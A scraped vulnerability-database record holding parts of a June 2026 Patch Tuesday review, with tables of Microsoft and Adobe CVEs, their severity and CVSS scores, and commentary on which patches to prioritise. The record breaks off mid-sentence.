Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "57e4bc93-da6d-4a6d-b7a2-d246c186ae66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48578", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation 